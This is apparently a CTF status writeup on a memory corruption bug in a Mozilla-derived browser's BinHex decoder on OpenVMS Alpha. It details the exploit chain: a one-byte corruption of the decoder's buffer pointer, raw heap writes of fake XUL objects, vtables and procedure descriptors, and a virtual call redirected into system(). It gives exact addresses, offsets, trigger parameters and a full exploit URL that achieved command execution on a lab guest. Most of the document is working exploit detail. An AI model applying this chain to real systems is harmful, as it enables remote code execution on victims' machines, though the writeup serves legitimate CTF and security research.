BinHex Exploit Status

This is a status writeup for the current BinHex exploit path. It is not a completed broker solve yet. The exploit has achieved reliable command execution on the scratch/debug CSWB guest, but the exact broker dispenser command is still not stable enough to return the broker marker/flag.

Executive Summary

The current path uses a memory corruption bug in Mozilla/CSWB's BinHex decoder. A crafted BinHex filename corrupts the low byte of the decoder's mDataBuffer pointer. The following BinHex body bytes are then written raw to a nearby heap address controlled by the corrupted low byte.

That raw write is used to place fake XUL event objects, fake vtables, and fake OpenVMS Alpha procedure descriptors into the browser heap. A later XUL event virtual call in SHARE$LIBGKLAYOUT dereferences one of those fake objects and calls a fake descriptor. The descriptor first enters a small existing thunk that adjusts R16 by four bytes, then tail-calls C RTL system(). Because R16 is the first argument register on Alpha/OpenVMS and still points at the fake object, placing the DCL command at object + 4 makes the command become system()'s argument.

Confirmed achievement:

• Scratch/debug guest RCE with COPY NL: SYS$LOGIN:PWNED.TXT !.
• Repeated invocation created hundreds of PWNED.TXT versions, proving that the XUL virtual-call-to-system() chain is live.
• The same staged page and payload are requested by the real broker browser.

Not yet achieved:

• The real broker has not returned the marker/flag.
• The exact command RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE changes the heap and document layout enough that the previously working object offsets stop being reliable.

Bug

The vulnerable component is the BinHex decoder, specifically nsBinHexDecoder::ProcessNextState().

The important behavior is:

1. The BinHex header filename length is attacker-controlled.
2. A boundary filename length corrupts one byte past the fixed filename buffer.
3. The adjacent field is the low byte of mDataBuffer.
4. Later decoder states write incoming payload bytes through the corrupted mDataBuffer.

The primitive is therefore not a normal string-copy primitive. After the pointer byte is corrupted, the following bytes are effectively raw heap writes. This is why the exploit can place Alpha pointers, procedure descriptors, and NUL bytes without relying on JavaScript string encoding.

One important operational detail: filler bytes matter. Earlier tests used alphabet-like filler and the decoder interpreted too much of the overwritten data as valid BinHex, leading to cache/write-path crashes before the intended XUL call fired. Using invalid nonzero filler, currently 0x7e, keeps the raw write useful while avoiding that early cache stream behavior.

Trigger Shape

The reliable trigger is a staged page that loads several BinHex resources in iframes. The earlier frames are benign heap shapers; one target frame contains the exploit payload.

Implemented in tmp/ctf_probe_server.py:

• /binhex_nsview_stage_sweep
• /binhex_xulmulti
• /binhex_xulvcall
• /binhex_xulpattern

The current useful page shape is:

/binhex_nsview_stage_sweep
  start=12
  target=14
  count=3
  gap=90
  pause=250
  fill=0x7e
  size=8191
  exploit_endpoint=/binhex_xulmulti

Frames b=12 and b=13 use benign payloads. Frame b=14 uses the fake XUL-object payload.

XUL Virtual Call

The useful crash/dispatch point observed in dumps is:

SHARE$LIBGKLAYOUT + 0x6d8cf8

The call shape is ideal for this exploit:

1. R16 points into the attacker-written BinHex heap buffer.
2. The code reads a vtable pointer from *R16.
3. It loads a procedure descriptor from vtable + 0x2c.
4. It performs the virtual call while leaving R16 as the object pointer.

Current constants:

Add4 thunk:           0x0000000000AC5610
C RTL system() code:  0xFFFFFFFF80AC0030
C RTL system() desc:  0x000000007BED5920
Virtual-call slot:    0x2c

The fake object layout is:

object + 0x00: fake vtable pointer
object + 0x04: DCL command string

fake_vtable + 0x2c: fake descriptor pointer

fake_descriptor + 0x08: Add4 thunk entry
fake_descriptor + 0x20: system() code
fake_descriptor + 0x28: system() descriptor / GP context

The Add4 thunk is what makes this cleaner than the older attempted nsView path. The virtual call naturally passes R16 = object. The thunk advances R16 to object + 4, where the command string starts, then enters system().

Payload Generator

The best current generator is /binhex_xulmulti. It writes several candidate fake objects into the same corrupted BinHex buffer and shares one fake vtable and descriptor region.

Key parameters:

rawbase:  expected absolute address of the start of the raw BinHex write
objoffs:  comma-separated candidate object offsets inside the raw write
slot:     virtual-call slot, currently 0x2c
vtoff:    shared fake vtable offset, default 0x182
descoff:  shared fake descriptor offset, default 0x1c2
cmd:      DCL command for system()

Current scratch RCE parameters:

rawbase=0x02badd0e
objoffs=0x3a,0x6a
slot=0x2c
fill=0x7e
cmd=COPY NL: SYS$LOGIN:PWNED.TXT !

Full scratch-style URL:

http://10.0.0.1:18121/binhex_nsview_stage_sweep?start=12&target=14&count=3&gap=90&pause=250&base=0x0&benign_base=0x41414101&fill=0x7e&size=8191&exploit_endpoint=%2Fbinhex_xulmulti&rawbase=0x02badd0e&objoffs=0x3a%2C0x6a&slot=0x2c&cmd=COPY+NL%3A+SYS%24LOGIN%3APWNED.TXT+%21

That command created repeated PWNED.TXT versions on the scratch/debug guest, which proves control of the virtual call and execution of a DCL command.

Why The Broker Command Is Harder

The broker requires:

RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

That exact command is longer and has different characters from the proof command. In this exploit, the overwritten BinHex bytes are not inert: they are also parsed as browser/content data after the decoder corruption. Changing the command bytes changes subsequent heap and XUL event layout. This is why the object pointer keeps "shifting underneath" the exploit.

Observed shifts:

• Short/test command runs placed the useful XUL object near one raw offset.
• The original COPY NL: ... proof worked around raw + 0x3a and raw + 0x6a.
• With the exact dispenser command and a bogus vtable, one dump had R16=0x02badd78, while the fake object for the old shape was at raw + 0x3a. That implies the exact command moved the event object by about 0x30.
• After installing a scratch helper named ANCIENTS$DISPENSE_FLAG.EXE, another exact-command run showed raw content starting around 0x02badb0e and the XUL object at 0x02badb18, i.e. near raw + 0x0a.

The latest exact-command candidate was therefore:

rawbase=0x02badb0e
objoffs=0x0a,0x3a,0x6a
cmd=RUN SYS$LOGIN:ANCIENTS$DISPENSE_FLAG.EXE

That shape has not produced the broker marker.

Broker Status

The broker path does load the payload. In the debug broker run 20260429-074315-9868017d, the probe server observed:

• the staged page request,
• benign frames b=12 and b=13,
• target frame b=14,
• target /binhex_xulmulti with the exact dispenser command.

The broker result was:

success=false
message=browser ran, but the target helper did not execute in time
duration_seconds=131.561

Artifacts for that run showed:

marker.txt:       empty
crash-dumps.txt:  no files found
browser.log:      locked by the still-running browser

So the 120 second timeout alone does not explain the failure. The failure mode is currently "payload loaded, browser stayed alive, helper did not execute", not "browser crashed before marker" and not "broker timed out too early after a successful helper run".

A later broker debug run with the short proof command was started with BROKER_KEEP_VM_ON_FAILURE=1 and also timed out:

job_id=20260429-074617-014c8f16
success=false
duration_seconds=56.754

The broker wrote vm-kept.txt for PID 60238, but a later host process check did not show that VM still running. Do not assume live guest state remains for that run without rechecking the process table.

Broker Observability Added

The broker previously destroyed failed VMs before crash/state inspection. I added opt-in failure observability to broker/broker.py:

BROKER_DEBUG_ON_FAILURE=1
BROKER_DEBUG_EXAMINE=<comma-separated debugger ranges>
BROKER_KEEP_VM_ON_FAILURE=1
BROKER_FAILURE_HOLD_SECONDS=<seconds>

When a failed broker run produces a VMS process dump, BROKER_DEBUG_ON_FAILURE runs tmp/ctf_observe.py collect before teardown and writes observe.json into the job directory. If no dump is present, it records observe-skipped.txt.

This did not produce a dump for the latest exact-command broker run, because the browser stayed alive.

Current Assessment

The exploit is real and has achieved browser RCE in the controlled guest. The remaining problem is stabilizing the exact broker command path, not discovering the memory corruption primitive.

Most likely next productive directions:

1. Use the kept broker VM to determine whether the short proof command executed in the real broker disk/layout.
2. Make the payload less command-content-sensitive, for example by placing many candidate fake objects across the raw write or by moving the command string away from bytes that affect the event layout.
3. Find a shorter command that invokes the broker helper, if VMS command syntax allows it without changing the helper path or broker rules.
4. Keep using broker-side observability for real broker runs; scratch offsets alone are not reliable enough for the exact dispenser command.